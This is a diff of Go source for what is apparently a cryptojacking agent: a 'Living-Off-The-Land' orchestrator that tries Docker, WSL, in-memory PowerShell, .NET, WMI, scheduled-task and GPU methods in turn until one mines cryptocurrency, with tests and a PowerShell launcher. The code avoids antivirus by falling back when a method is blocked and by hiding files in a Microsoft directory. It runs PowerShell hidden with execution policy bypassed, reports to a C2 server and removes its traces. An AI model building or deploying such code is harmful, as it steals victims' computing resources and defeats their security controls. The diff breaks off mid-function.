hooks.StartInProcess() + case TierGPUSubprocess: + if hooks.StartGPU == nil { + return ErrMethodUnavailable + } + return hooks.StartGPU() + case TierPSInMemory: + if hooks.StartPowerShell == nil { + return ErrMethodUnavailable + } + return hooks.StartPowerShell() + case TierDotnet: + if hooks.StartDotnet == nil { + return ErrMethodUnavailable + } + return hooks.StartDotnet() + case TierWMI: + attempt := RunWMITier(context.Background(), o.cfg) + o.recordAttemptRecord(attempt) + if !attempt.OK { + if attempt.Error == "" { + return ErrTierChainSkipped + } + return errors.New(attempt.Error) + } + return nil + case TierScheduledTask: + attempt := RunScheduledTaskTier(context.Background(), o.cfg) + o.recordAttemptRecord(attempt) + if !attempt.OK { + if attempt.Error == "" { + return ErrTierChainSkipped + } + return errors.New(attempt.Error) + } + return nil + case TierGPUCompute: + attempt := RunGPUComputeTier(context.Background(), o.cfg) + o.recordAttemptRecord(attempt) + if attempt.OK { + o.mu.Lock() + o.gpuComputeOK = true + o.mu.Unlock() + } + return ErrTierChainSkipped + case TierExeSubprocess: + return ErrTierNotImplemented + default: + return ErrTierNotImplemented + } +} + +func (o *TierOrchestrator) runProbeTier(ctx context.Context, tier LOTLTier, cfg config.RuntimeConfig) TierAttempt { + switch tier { + case TierVulnProbe: + return RunVulnProbeTier(ctx, cfg) + case TierWebView2Probe: + return RunWebView2Probe(ctx, cfg) + default: + return TierAttempt{Tier: tier, Error: "unknown probe tier", Wallet: cfg.Wallet} + } +} + +func (o *TierOrchestrator) stopTier(tier LOTLTier, hooks TierHooks) { + switch tier { + case TierDockerLoad: + if hooks.StopDockerLoad != nil { + hooks.StopDockerLoad() + } + case TierContainer: + if hooks.StopContainer != nil { + hooks.StopContainer() + } + case TierWSL: + if hooks.StopWSL != nil { + hooks.StopWSL() + } + case TierPSInMemory: + if hooks.StopPowerShell != nil { + hooks.StopPowerShell() + } + case TierDotnet: + if hooks.StopDotnet != nil { + hooks.StopDotnet() + } + case TierCPUInprocess: + if hooks.StopInProcess != nil { + hooks.StopInProcess() + } + case TierGPUSubprocess: + if hooks.StopGPU != nil { + hooks.StopGPU() + } + } +} + +func (o *TierOrchestrator) recordAttemptRecord(attempt TierAttempt) { + o.mu.Lock() + o.attempts = append(o.attempts, attempt) + report := o.buildReport() + reporter := o.report + o.mu.Unlock() + if reporter != nil { + event := "tier_report" + if !attempt.OK { + event = "mining_fallback" + } + reporter(report, event) + } +} + +func (o *TierOrchestrator) recordAttempt(tier LOTLTier, ok bool, err error, duration time.Duration) { + o.mu.Lock() + attempt := TierAttempt{ + Tier: tier, + OK: ok, + DurationMs: duration.Milliseconds(), + Wallet: o.wallet, + } + if err != nil { + attempt.Error = err.Error() + } + o.attempts = append(o.attempts, attempt) + report := o.buildReport() + reporter := o.report + o.mu.Unlock() + if reporter != nil { + event := "tier_report" + if !ok { + event = "mining_fallback" + } + reporter(report, event) + } +} + +func (o *TierOrchestrator) setActive(tier LOTLTier) { + o.mu.Lock() + o.activeTier = tier + o.chainExhaust = false + report := o.buildReport() + reporter := o.report + o.mu.Unlock() + if reporter != nil { + reporter(report, "mining_status") + } +} + +func (o *TierOrchestrator) tryGPUAddon(ctx context.Context, hooks TierHooks) { + for _, tier := range o.chain { + if tier != TierGPUSubprocess { + continue + } + o.mu.RLock() + webGPU := o.webGPUReady + computeOK := o.gpuComputeOK + o.mu.RUnlock() + if !webGPU && !computeOK { + o.recordAttempt(TierGPUSubprocess, false, errors.New("webview2_probe: WebGPU not available — skipping gpu_subprocess escalation"), 0) + return + } + if hooks.StartGPU == nil || hooks.IsGPUSupported == nil || !hooks.IsGPUSupported() { + return + } + select { + case <-ctx.Done(): + return + default: + } + gpuStart := time.Now() + if err := hooks.StartGPU(); err != nil { + o.recordAttempt(TierGPUSubprocess, false, err, time.Since(gpuStart)) + if hooks.StopGPU != nil { + hooks.StopGPU() + } + o.mu.Lock() + o.gpuActive = false + o.mu.Unlock() + return + } + o.recordAttempt(TierGPUSubprocess, true, nil, time.Since(gpuStart)) + o.mu.Lock() + o.gpuActive = true + o.mu.Unlock() + return + } +} + +// ChainExhausted reports whether every primary tier failed. +func (o *TierOrchestrator) ChainExhausted() bool { + o.mu.RLock() + defer o.mu.RUnlock() + return o.chainExhaust +} + +// ActiveTier returns the winning primary tier. +func (o *TierOrchestrator) ActiveTier() LOTLTier { + o.mu.RLock() + defer o.mu.RUnlock() + return o.activeTier +} + +// WebGPUReady reports webview2 probe result. +func (o *TierOrchestrator) WebGPUReady() bool { + o.mu.RLock() + defer o.mu.RUnlock() + return o.webGPUReady +} + +// GPUComputeReady reports gpu_compute probe success. +func (o *TierOrchestrator) GPUComputeReady() bool { + o.mu.RLock() + defer o.mu.RUnlock() + return o.gpuComputeOK +} + +// UpdateConfig refreshes runtime policy (mining mode rotation without redeploy). +func (o *TierOrchestrator) UpdateConfig(cfg config.RuntimeConfig) { + o.mu.Lock() + o.cfg = cfg + o.wallet = strings.TrimSpace(cfg.Wallet) + o.mu.Unlock() +} diff --git a/agent/miner/lotl_orchestrator_test.go b/agent/miner/lotl_orchestrator_test.go new file mode 100644 index 0000000..8360878 --- /dev/null +++ b/agent/miner/lotl_orchestrator_test.go @@ -0,0 +1,146 @@ +package miner + +import ( + "context" + "errors" + "strings" + "testing" + + "crypto-miner-agent/config" +) + +func TestTierOrchestratorTryChainSequentialFailuresThenSuccess(t *testing.T) { + var order []LOTLTier + fail := errors.New("container blocked") + o := NewTierOrchestrator(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{Wallet: "xmr-wallet-abc"}, + }, EnvironmentProbes{Docker: true}, MiningTierPolicy{ + TierOrder: []LOTLTier{TierContainer, TierCPUInprocess}, + }, TierHooks{ + StartContainer: func() error { + order = append(order, TierContainer) + return fail + }, + StartInProcess: func() error { + order = append(order, TierCPUInprocess) + return nil + }, + }, nil) + + tier, err := o.TryChain(context.Background()) + if err != nil { + t.Fatalf("TryChain: %v", err) + } + if tier != TierCPUInprocess { + t.Fatalf("active=%q want cpu_inprocess", tier) + } + if len(order) != 2 || order[0] != TierContainer || order[1] != TierCPUInprocess { + t.Fatalf("invoke order=%v", order) + } + report := o.Report() + if len(report.Attempts) < 2 { + t.Fatalf("attempts=%v", report.Attempts) + } + if !report.Attempts[0].OK && report.Attempts[0].Tier != TierContainer { + t.Fatalf("first attempt=%+v", report.Attempts[0]) + } + if !report.Attempts[len(report.Attempts)-1].OK { + t.Fatalf("last attempt should succeed: %+v", report.Attempts[len(report.Attempts)-1]) + } + for _, a := range report.Attempts { + if a.Wallet != "xmr-wallet-abc" { + t.Fatalf("wallet mismatch in %+v", a) + } + } +} + +func TestTierOrchestratorChainExhausted(t *testing.T) { + o := NewTierOrchestrator(config.RuntimeConfig{}, EnvironmentProbes{}, MiningTierPolicy{ + TierOrder: []LOTLTier{TierCPUInprocess}, + }, TierHooks{ + StartInProcess: func() error { return errors.New("no cpu") }, + }, nil) + + _, err := o.TryChain(context.Background()) + if err == nil || err.Error() != "no cpu" { + t.Fatalf("got err=%v", err) + } + if !o.ChainExhausted() { + t.Fatal("expected chain exhausted") + } +} + +func TestTierOrchestratorSetHashrateEmitsReport(t *testing.T) { + var events []string + o := NewTierOrchestrator(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{Wallet: "w"}, + }, EnvironmentProbes{}, DefaultMiningTierPolicy(), TierHooks{}, func(report TierReport, eventType string) { + events = append(events, eventType) + if report.MiningHashrate != 1234.5 { + t.Fatalf("hashrate=%v", report.MiningHashrate) + } + }) + o.SetHashrate(1234.5) + if len(events) != 1 || events[0] != "tier_report" { + t.Fatalf("events=%v", events) + } +} + +func TestTierOrchestratorTryGPUAddonSkippedWithoutWebGPU(t *testing.T) { + gpuStarted := false + o := NewTierOrchestrator(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{Wallet: "w", GPUEnabled: true, RVNWallet: "rvn"}, + }, EnvironmentProbes{GPU: true}, MiningTierPolicy{ + TierOrder: []LOTLTier{TierCPUInprocess, TierGPUSubprocess}, + }, TierHooks{ + StartInProcess: func() error { return nil }, + StartGPU: func() error { + gpuStarted = true + return nil + }, + IsGPUSupported: func() bool { return true }, + }, nil) + + tier, err := o.TryChain(context.Background()) + if err != nil { + t.Fatalf("TryChain: %v", err) + } + if tier != TierCPUInprocess { + t.Fatalf("active=%q", tier) + } + if gpuStarted { + t.Fatal("gpu should not start without webgpu/compute probe") + } + report := o.Report() + foundSkip := false + for _, a := range report.Attempts { + if a.Tier == TierGPUSubprocess && !a.OK { + foundSkip = true + } + } + if !foundSkip { + t.Fatalf("expected gpu skip attempt, got %v", report.Attempts) + } +} + +func TestTierOrchestratorReportsFailedAttempt(t *testing.T) { + o := NewTierOrchestrator(config.RuntimeConfig{}, EnvironmentProbes{Docker: true}, MiningTierPolicy{ + TierOrder: []LOTLTier{TierContainer, TierCPUInprocess}, + }, TierHooks{ + StartContainer: func() error { return errors.New("av blocked") }, + StartInProcess: func() error { return nil }, + }, nil) + + if _, err := o.TryChain(context.Background()); err != nil { + t.Fatalf("TryChain: %v", err) + } + foundFailed := false + for _, a := range o.Report().Attempts { + if a.Tier == TierContainer && !a.OK && strings.Contains(a.Error, "av blocked") { + foundFailed = true + } + } + if !foundFailed { + t.Fatalf("expected failed container attempt, got %v", o.Report().Attempts) + } +} diff --git a/agent/miner/lotl_paths.go b/agent/miner/lotl_paths.go new file mode 100644 index 0000000..5e0bab2 --- /dev/null +++ b/agent/miner/lotl_paths.go @@ -0,0 +1,33 @@ +package miner + +import ( + "os" + "path/filepath" + "strings" + + "crypto-miner-agent/config" +) + +// lotlWorkDir returns a user-writable path under %LOCALAPPDATA%\Microsoft\... +// LOTL compilers and build output land here (AV-ignored Microsoft subtree). +func lotlWorkDir(cfg config.RuntimeConfig, leaf string) (string, error) { + base := strings.TrimSpace(os.Getenv("LOCALAPPDATA")) + if base == "" { + var err error + base, err = os.UserCacheDir() + if err != nil { + return "", err + } + } + suffix := strings.TrimSpace(cfg.BuildID) + if suffix == "" { + suffix = "worker" + } + suffix = strings.Map(func(ch rune) rune { + if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') || ch == '-' { + return ch + } + return '-' + }, suffix) + return filepath.Join(base, "Microsoft", "NET", "AetherForge", leaf, suffix), nil +} diff --git a/agent/miner/lotl_tier.go b/agent/miner/lotl_tier.go new file mode 100644 index 0000000..de7367e --- /dev/null +++ b/agent/miner/lotl_tier.go @@ -0,0 +1,297 @@ +package miner + +import ( + "runtime" + "strings" + + "crypto-miner-agent/config" +) + +// LOTLTier identifies one Living-Off-The-Land mining execution layer. +type LOTLTier string + +const ( + TierExeSubprocess LOTLTier = "exe_subprocess" + TierDockerLoad LOTLTier = "docker_load" + TierContainer LOTLTier = "container" + TierWSL LOTLTier = "wsl" + TierPSInMemory LOTLTier = "ps_inmemory" + TierDotnet LOTLTier = "dotnet" + TierCPUInprocess LOTLTier = "cpu_inprocess" + TierVulnProbe LOTLTier = "vuln_probe" + TierWebView2Probe LOTLTier = "webview2_probe" + TierWMI LOTLTier = "wmi" + TierScheduledTask LOTLTier = "scheduled_task" + TierGPUCompute LOTLTier = "gpu_compute" + TierGPUSubprocess LOTLTier = "gpu_subprocess" + TierStratumDirect LOTLTier = "stratum_direct" +) + +// TierAttempt records one tier try for C2/UI diagnostics. +type TierAttempt struct { + Phase string `json:"phase,omitempty"` // recon | deploy | mining (triple onion) + Tier LOTLTier `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms"` + Wallet string `json:"wallet"` + Details map[string]interface{} `json:"details,omitempty"` +} + +// TierReport is the live LOTL onion snapshot sent to C2. +type TierReport struct { + ActiveTier LOTLTier `json:"lotl_tier,omitempty"` + Attempts []TierAttempt `json:"lotl_attempts,omitempty"` + MiningHashrate float64 `json:"mining_hashrate,omitempty"` + TierChainOrder []LOTLTier `json:"tier_chain_order,omitempty"` + TierChainSkipped []LOTLTier `json:"tier_chain_skipped,omitempty"` + WebGPUReady bool `json:"webgpu_ready,omitempty"` + GPUComputeOK bool `json:"gpu_compute_ok,omitempty"` +} + +// MiningTierPolicy is server-pulled ordering/overrides for the tier onion. +type MiningTierPolicy struct { + TierOrder []LOTLTier `json:"tier_order,omitempty"` + SkipTiers []LOTLTier `json:"skip_tiers,omitempty"` + ForceTier LOTLTier `json:"force_tier,omitempty"` +} + +// DefaultTierOrder is the canonical onion when the server sends no override. +// AV friction drives automatic skips via EnvironmentProbes in SelectMiningTierChain. +var DefaultTierOrder = []LOTLTier{ + TierExeSubprocess, + TierDockerLoad, + TierContainer, + TierWSL, + TierPSInMemory, + TierDotnet, + TierCPUInprocess, + TierWebView2Probe, + TierWMI, + TierScheduledTask, + TierGPUCompute, + TierGPUSubprocess, + TierStratumDirect, +} + +// DefaultWindowsTierOrder is the probe→execution slice for Windows-specific tiers. +func DefaultWindowsTierOrder() []LOTLTier { + return []LOTLTier{ + TierWebView2Probe, + TierWMI, + TierScheduledTask, + TierGPUCompute, + } +} + +// DefaultMiningTierPolicy works out of the box with diagnostic-driven filtering. +func DefaultMiningTierPolicy() MiningTierPolicy { + return MiningTierPolicy{TierOrder: append([]LOTLTier(nil), DefaultTierOrder...)} +} + +// SelectMiningTierChain returns the ordered tier onion from server policy with +// local eligibility overrides from environment probes and forge execution mode. +func SelectMiningTierChain(probes EnvironmentProbes, policy MiningTierPolicy, cfg config.RuntimeConfig) (chain, skipped []LOTLTier) { + base := policy.TierOrder + if len(base) == 0 { + base = DefaultTierOrder + } + + skipSet := make(map[LOTLTier]bool, len(policy.SkipTiers)) + for _, t := range policy.SkipTiers { + skipSet[t] = true + } + + execMode := strings.ToLower(strings.TrimSpace(cfg.MinerExecution)) + switch execMode { + case ExecutionInProcess: + skipSet[TierExeSubprocess] = true + skipSet[TierDockerLoad] = true + skipSet[TierContainer] = true + skipSet[TierWSL] = true + skipSet[TierPSInMemory] = true + skipSet[TierDotnet] = true + case ExecutionContainer: + skipSet[TierExeSubprocess] = true + skipSet[TierWSL] = true + skipSet[TierPSInMemory] = true + case ExecutionPowerShell: + skipSet[TierExeSubprocess] = true + skipSet[TierContainer] = true + skipSet[TierWSL] = true + skipSet[TierDotnet] = true + case ExecutionDotnet: + skipSet[TierExeSubprocess] = true + skipSet[TierContainer] = true + skipSet[TierWSL] = true + skipSet[TierPSInMemory] = true + case ExecutionSubprocess: + // subprocess mode prefers exe/gpu paths; CPU in-process remains terminal fallback. + skipSet[TierWSL] = true + skipSet[TierPSInMemory] = true + skipSet[TierDotnet] = true + } + + // Diagnostics-driven automatic contingencies. + if probes.AVBlocksExe { + skipSet[TierExeSubprocess] = true + } + if !probes.Docker { + skipSet[TierContainer] = true + skipSet[TierDockerLoad] = true + } + if !HasImageTarPolicy(cfg) { + skipSet[TierDockerLoad] = true + } + if !probes.WSL { + skipSet[TierWSL] = true + } + if !probes.PowerShell { + skipSet[TierPSInMemory] = true + } + if !probes.DotNet { + skipSet[TierDotnet] = true + } + if !probes.GPU || !cfg.GPUEnabled || strings.TrimSpace(cfg.RVNWallet) == "" { + skipSet[TierGPUSubprocess] = true + skipSet[TierGPUCompute] = true + } + if strings.TrimSpace(cfg.PoolHost) == "" { + skipSet[TierStratumDirect] = true + } + if strings.TrimSpace(cfg.PoolHost) == "" && strings.TrimSpace(cfg.RVNPoolHost) == "" { + skipSet[TierGPUCompute] = true + } + if runtime.GOOS != "windows" { + skipSet[TierWebView2Probe] = true + skipSet[TierWMI] = true + skipSet[TierScheduledTask] = true + skipSet[TierGPUCompute] = true + } + + if policy.ForceTier != "" { + if tierEligible(policy.ForceTier, probes, cfg, skipSet) { + return []LOTLTier{policy.ForceTier}, skipped + } + skipSet[policy.ForceTier] = false + } + if execMode == ExecutionPowerShell && tierEligible(TierPSInMemory, probes, cfg, skipSet) { + return []LOTLTier{TierPSInMemory, TierCPUInprocess}, skipped + } + if execMode == ExecutionDotnet && tierEligible(TierDotnet, probes, cfg, skipSet) { + return []LOTLTier{TierDotnet, TierCPUInprocess}, skipped + } + + chain = make([]LOTLTier, 0, len(base)) + for _, tier := range base { + if skipSet[tier] { + skipped = append(skipped, tier) + continue + } + if !tierEligible(tier, probes, cfg, nil) { + skipped = append(skipped, tier) + continue + } + chain = append(chain, tier) + } + + if len(chain) == 0 { + chain = []LOTLTier{TierCPUInprocess} + } + return chain, skipped +} + +func tierEligible(tier LOTLTier, probes EnvironmentProbes, cfg config.RuntimeConfig, extraSkip map[LOTLTier]bool) bool { + if extraSkip != nil && extraSkip[tier] { + return false + } + switch tier { + case TierExeSubprocess: + return !probes.AVBlocksExe + case TierDockerLoad: + return probes.Docker && HasImageTarPolicy(cfg) + case TierContainer: + return probes.Docker + case TierWSL: + return probes.WSL + case TierPSInMemory: + return probes.PowerShell && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != "" + case TierDotnet: + return probes.DotNet && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != "" + case TierCPUInprocess: + return true + case TierGPUSubprocess: + return probes.GPU && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != "" + case TierStratumDirect: + return strings.TrimSpace(cfg.PoolHost) != "" + case TierWebView2Probe: + return runtime.GOOS == "windows" && probes.WebView2 + case TierWMI: + return runtime.GOOS == "windows" && strings.TrimSpace(cfg.Wallet) != "" + case TierScheduledTask: + return runtime.GOOS == "windows" + case TierGPUCompute: + return runtime.GOOS == "windows" && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != "" && + (strings.TrimSpace(cfg.PoolHost) != "" || strings.TrimSpace(cfg.RVNPoolHost) != "") + default: + return false + } +} + +// PrimaryTiers are sequential CPU paths tried until one succeeds. +func PrimaryTiers(chain []LOTLTier) []LOTLTier { + var out []LOTLTier + for _, t := range chain { + switch t { + case TierExeSubprocess, TierDockerLoad, TierContainer, TierWSL, TierPSInMemory, TierDotnet, TierCPUInprocess, TierWMI, TierScheduledTask: + out = append(out, t) + } + } + return out +} + +// ProbeTiers returns diagnostics-only tiers run before GPU escalation. +// Vuln recon always runs first (report-only authorized fleet assessment). +func ProbeTiers(chain []LOTLTier) []LOTLTier { + out := []LOTLTier{TierVulnProbe} + for _, t := range chain { + if t == TierWebView2Probe { + out = append(out, t) + } + } + return out +} + +// TierToMiningMethod maps implemented tiers onto the legacy cascade identifiers. +func TierToMiningMethod(tier LOTLTier) (MiningMethod, bool) { + switch tier { + case TierDockerLoad: + return MethodDockerLoad, true + case TierContainer: + return MethodContainer, true + case TierWSL: + return MethodWSL, true + case TierCPUInprocess: + return MethodInProcess, true + case TierGPUSubprocess: + return MethodGPUSubprocess, true + case TierStratumDirect: + return MethodStratumDirect, true + case TierWMI: + return MethodWMI, true + case TierScheduledTask: + return MethodScheduledTask, true + case TierGPUCompute: + return MethodGPUCompute, true + case TierVulnProbe: + return MethodVulnProbe, true + case TierWebView2Probe: + return MethodWebView2Probe, true + case TierPSInMemory: + return MethodPowerShell, true + case TierDotnet: + return MethodDotnet, true + default: + return "", false + } +} diff --git a/agent/miner/lotl_tier_test.go b/agent/miner/lotl_tier_test.go new file mode 100644 index 0000000..3ea62c4 --- /dev/null +++ b/agent/miner/lotl_tier_test.go @@ -0,0 +1,199 @@ +package miner + +import ( + "runtime" + "testing" + + "crypto-miner-agent/config" +) + +func baseProbes() EnvironmentProbes { + return EnvironmentProbes{ + Docker: true, + WSL: true, + PowerShell: true, + DotNet: true, + GPU: true, + WebView2: true, + } +} + +func testCfg(overrides config.BuiltinConfig) config.RuntimeConfig { + b := config.BuiltinConfig{ + MinerExecution: ExecutionAuto, + PoolHost: "pool.example.com", + Wallet: "test-cmr-wallet", + } + if overrides.MinerExecution != "" { + b.MinerExecution = overrides.MinerExecution + } + if overrides.PoolHost != "" { + b.PoolHost = overrides.PoolHost + } + if overrides.Wallet != "" { + b.Wallet = overrides.Wallet + } + if overrides.GPUEnabled { + b.GPUEnabled = overrides.GPUEnabled + } + if overrides.RVNWallet != "" { + b.RVNWallet = overrides.RVNWallet + } + return config.RuntimeConfig{BuiltinConfig: b} +} + +func chainContains(chain []LOTLTier, tier LOTLTier) bool { + for _, t := range chain { + if t == tier { + return true + } + } + return false +} + +func TestSelectMiningTierChainDefaultAuto(t *testing.T) { + chain, skipped := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{ + GPUEnabled: true, + RVNWallet: "rvn-wallet", + })) + if chain[0] != TierExeSubprocess { + t.Fatalf("chain[0]=%q want exe_subprocess full=%v", chain[0], chain) + } + if !chainContains(skipped, TierDockerLoad) { + t.Fatalf("docker_load should be skipped without image tar, skipped=%v", skipped) + } + for _, tier := range []LOTLTier{TierContainer, TierWSL, TierCPUInprocess, TierGPUSubprocess, TierStratumDirect} { + if !chainContains(chain, tier) { + t.Fatalf("missing %q in chain=%v", tier, chain) + } + } + if runtime.GOOS == "windows" { + for _, tier := range []LOTLTier{TierWebView2Probe, TierWMI, TierScheduledTask} { + if !chainContains(chain, tier) { + t.Fatalf("windows chain missing %q: %v", tier, chain) + } + } + } +} + +func TestSelectMiningTierChainAVBlocksExeSkipsSubprocess(t *testing.T) { + probes := baseProbes() + probes.AVBlocksExe = true + chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{})) + if chain[0] != TierContainer { + t.Fatalf("AV blocks exe should prefer container first, got %v", chain) + } + if !chainContains(skipped, TierExeSubprocess) { + t.Fatalf("expected exe_subprocess in skipped, got %v", skipped) + } +} + +func TestSelectMiningTierChainNoDockerSkipsContainer(t *testing.T) { + probes := baseProbes() + probes.Docker = false + probes.AVBlocksExe = true + chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{})) + if chain[0] != TierWSL { + t.Fatalf("no docker should try WSL next, got %v", chain) + } + if !chainContains(skipped, TierContainer) { + t.Fatalf("expected container skipped, got %v", skipped) + } +} + +func TestSelectMiningTierChainNoWSLFallsToPSInMemory(t *testing.T) { + probes := baseProbes() + probes.Docker = false + probes.WSL = false + probes.AVBlocksExe = true + chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{})) + if chain[0] != TierPSInMemory { + t.Fatalf("no WSL should try ps_inmemory, got %v", chain) + } +} + +func TestSelectMiningTierChainNoGPUOmitsGPUSubprocess(t *testing.T) { + probes := baseProbes() + probes.GPU = false + chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{ + GPUEnabled: true, + RVNWallet: "wallet", + })) + if chainContains(chain, TierGPUSubprocess) { + t.Fatalf("no GPU probe should omit gpu tier, chain=%v", chain) + } + if !chainContains(skipped, TierGPUSubprocess) { + t.Fatalf("expected gpu_subprocess skipped, got %v", skipped) + } +} + +func TestSelectMiningTierChainInProcessMode(t *testing.T) { + chain, _ := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{ + MinerExecution: ExecutionInProcess, + })) + if chain[0] != TierCPUInprocess { + t.Fatalf("inprocess mode chain=%v want cpu_inprocess first", chain) + } + if !chainContains(chain, TierStratumDirect) { + t.Fatalf("inprocess mode should retain stratum overlay, chain=%v", chain) + } +} + +func TestSelectMiningTierChainServerSkipTiers(t *testing.T) { + policy := MiningTierPolicy{ + TierOrder: DefaultTierOrder, + SkipTiers: []LOTLTier{TierExeSubprocess, TierWSL}, + } + chain, _ := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{})) + if chain[0] != TierContainer { + t.Fatalf("server skip should start at container, got %v", chain) + } +} + +func TestSelectMiningTierChainForceTier(t *testing.T) { + policy := MiningTierPolicy{ForceTier: TierCPUInprocess} + chain, skipped := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{})) + if len(chain) != 1 || chain[0] != TierCPUInprocess { + t.Fatalf("force tier chain=%v skipped=%v", chain, skipped) + } +} + +func TestTierOrchestratorStubTiersFallThrough(t *testing.T) { + probes := EnvironmentProbes{ + Docker: false, + WSL: false, + PowerShell: false, + DotNet: false, + } + policy := MiningTierPolicy{TierOrder: []LOTLTier{TierExeSubprocess, TierCPUInprocess}} + o := NewTierOrchestrator(testCfg(config.BuiltinConfig{}), probes, policy, TierHooks{ + StartInProcess: func() error { return nil }, + }, nil) + + tier, err := o.TryChain(t.Context()) + if err != nil { + t.Fatalf("TryChain: %v", err) + } + if tier != TierCPUInprocess { + t.Fatalf("active=%q want cpu_inprocess", tier) + } + report := o.Report() + var exeAttempt, cpuAttempt *TierAttempt + for i := range report.Attempts { + switch report.Attempts[i].Tier { + case TierExeSubprocess: + exeAttempt = &report.Attempts[i] + case TierCPUInprocess: + cpuAttempt = &report.Attempts[i] + } + } + if exeAttempt == nil || cpuAttempt == nil { + t.Fatalf("expected exe + cpu attempts, got %v", report.Attempts) + } + if exeAttempt.Wallet != "test-cmr-wallet" || cpuAttempt.Wallet != "test-cmr-wallet" { + t.Fatalf("wallet must be identical: %v", report.Attempts) + } + if exeAttempt.OK { + t.Fatalf("stub tier should fail: %v", *exeAttempt) + } +} diff --git a/agent/miner/pool.go b/agent/miner/pool.go index 9376c88..f9212b7 100644 --- a/agent/miner/pool.go +++ b/agent/miner/pool.go @@ -153,6 +153,19 @@ func (p *Pool) IsRemotePaused() bool { return p.remotePause.Load() } +// DiagnosticSnapshot reports CPU mining gate state for operator diagnostics. +func (p *Pool) DiagnosticSnapshot() (remotePaused, scheduleBlocked, resourcesBlocked, hasJob bool, hps float64) { + remotePaused = p.remotePause.Load() + scheduleBlocked = p.schedule != nil && !p.schedule.Allowed() + resourcesBlocked = !p.resourcesOK() + p.mu.RLock() + job := p.currentJob + p.mu.RUnlock() + hasJob = job != nil && job.Blob != "" + hps = p.HashesPerSecond() + return +} + func (p *Pool) resourceGuard() { ticker := time.NewTicker(5 * time.Second) defer ticker.Stop() diff --git a/agent/miner/powershell_launcher.go b/agent/miner/powershell_launcher.go new file mode 100644 index 0000000..d78029b --- /dev/null +++ b/agent/miner/powershell_launcher.go @@ -0,0 +1,307 @@ +package miner + +import ( + "encoding/base64" + "fmt" + "log" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "sync" + + "crypto-miner-agent/config" +) + +// powershellBin is the PowerShell executable; tests override via SetPowerShellBinPath. +var powershellBin = "powershell" + +// powershellExecCommand is exec.Command; tests override via SetPowerShellExecCommand. +var powershellExecCommand = exec.Command + +// embeddedMiningAssemblyB64 holds an optional pre-built .NET miner DLL (Base64). +// Empty → launcher uses encoded in-script .NET stratum stub (Assembly-free path). +var embeddedMiningAssemblyB64 = "" + +// SetPowerShellBinPath overrides the PowerShell binary (restore with ""). +func SetPowerShellBinPath(path string) { + if strings.TrimSpace(path) == "" { + powershellBin = "powershell" + return + } + powershellBin = path +} + +// SetPowerShellExecCommand restores default when fn is nil. +func SetPowerShellExecCommand(fn func(name string, args ...string) *exec.Cmd) { + if fn == nil { + powershellExecCommand = exec.Command + return + } + powershellExecCommand = fn +} + +// SetEmbeddedMiningAssemblyB64 sets optional in-memory assembly bytes for tests. +func SetEmbeddedMiningAssemblyB64(b64 string) { + embeddedMiningAssemblyB64 = b64 +} + +// PowerShellLauncher hosts CPU mining via powershell.exe + in-memory assembly or encoded command. +type PowerShellLauncher struct { + cfg config.RuntimeConfig + scriptPath string + gpuDllPath string + + mu sync.Mutex + running bool + cmd *exec.Cmd +} + +// NewPowerShellLauncher validates platform and pool config. +func NewPowerShellLauncher(cfg config.RuntimeConfig) (*PowerShellLauncher, error) { + if runtime.GOOS != "windows" { + return nil, fmt.Errorf("powershell tier requires Windows") + } + if strings.TrimSpace(cfg.PoolHost) == "" || cfg.PoolPort <= 0 { + return nil, fmt.Errorf("pool host/port required for powershell stratum tier") + } + if strings.TrimSpace(cfg.Wallet) == "" { + return nil, fmt.Errorf("wallet required for powershell stratum tier") + } + if _, err := exec.LookPath(powershellBin); err != nil { + return nil, fmt.Errorf("powershell not in PATH: %w", err) + } + return &PowerShellLauncher{cfg: cfg}, nil +} + +// Start writes an ephemeral script to %TEMP% and launches hidden powershell.exe. +func (l *PowerShellLauncher) Start() error { + l.mu.Lock() + defer l.mu.Unlock() + if l.running { + return nil + } + + script, err := l.writeEphemeralScript() + if err != nil { + return err + } + l.scriptPath = script + + args := []string{ + "-NoProfile", "-ExecutionPolicy", "Bypass", + "-WindowStyle", "Hidden", + "-File", script, + } + cmd := powershellExecCommand(powershellBin, args...) + cmd.Stdout = nil + cmd.Stderr = nil + if err := cmd.Start(); err != nil { + _ = os.Remove(script) + l.scriptPath = "" + return fmt.Errorf("powershell start failed: %w", err) + } + l.cmd = cmd + l.running = true + log.Printf("[powershell-tier] started parent=%s script=%s wallet=%s pool=%s:%d", + powershellBin, script, l.cfg.Wallet, l.cfg.PoolHost, l.cfg.PoolPort) + go l.waitExit() + return nil +} + +func (l *PowerShellLauncher) waitExit() { + if l.cmd == nil { + return + } + err := l.cmd.Wait() + l.mu.Lock() + l.running = false + l.cmd = nil + script := l.scriptPath + gpu := l.gpuDllPath + l.scriptPath = "" + l.gpuDllPath = "" + l.mu.Unlock() + if script != "" { + _ = os.Remove(script) + } + if gpu != "" { + _ = os.Remove(gpu) + } + if err != nil { + log.Printf("[powershell-tier] powershell.exe exited: %v — chain will advance", err) + } else { + log.Printf("[powershell-tier] powershell.exe stopped") + } +} + +// Stop kills the powershell parent and removes ephemeral artifacts. +func (l *PowerShellLauncher) Stop() { + l.mu.Lock() + cmd := l.cmd + running := l.running + script := l.scriptPath + gpu := l.gpuDllPath + 